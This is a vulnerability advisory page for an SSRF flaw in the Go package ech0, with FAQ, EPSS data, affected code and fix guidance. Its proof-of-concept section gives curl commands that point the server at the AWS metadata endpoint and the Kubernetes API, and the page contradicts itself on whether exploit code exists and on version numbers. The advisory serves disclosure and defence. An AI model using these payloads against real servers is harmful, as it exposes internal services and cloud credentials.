How severe is CVE-2026-79659?

No CVSS score has been assigned to CVE-2026-79659 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-79659?

CVE-2026-79659 affects the following packages: github.com/lin-snow/ech0 (Go). Ecosystems affected: Go.

How do I fix CVE-2026-79659?

Update github.com/lin-snow/ech0 to 1.4.8-0.20260503040602-091d26d2d942 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-79659 is resolved across your whole dependency graph.

How do I detect CVE-2026-79659 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-79659 if there is no patch (or I can't update yet)?

Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Is CVE-2026-79659 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-79659 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-79659?

CVE-2026-79659 has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 29th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-79659?

CVE-2026-79659 is classified as Server-Side Request Forgery (SSRF) (CWE-918). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-79659 published, and has it been updated?

CVE-2026-79659 was published on August 25, 2026 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

CVE-2026-79659 — ech0

Fix: lin-snow/Ech0@091d26d

CVE-2026-79659 is a Server-Side Request Forgery (SSRF) vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.

Ech0 before 4.7.3 Server-Side Request Forgery via fetchPeerConnectInfo

Also known asGHSA-8mc6-xjpr-h98xGO-2026-5259

Published

Aug 25, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-79659.

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐹github.com/lin-snow/ech0

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.

Details

In internal/service/connect/connect.go, the fetchPeerConnectInfo function:

func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
    url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
    resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)

This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.

Called from:

Line 307: data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)
- Line 498: data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)

PoC

# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'

# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
  "https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID

Or for Kubernetes:

curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'

Impact

Confidentiality: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API
- CWE-918: Server-Side Request Forgery

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/lin-snow/ech0`	all versions	1.4.8-0.20260503040602-091d26d2d942`go get github.com/lin-snow/ech0@v1.4.8-0.20260503040602-091d26d2d942`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/ech0 to 1.4.8-0.20260503040602-091d26d2d942 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-79659 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## Summary The `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints. ## Details In `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function: ```go func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) { url := httpUtil.TrimURL(peerConnectURL)

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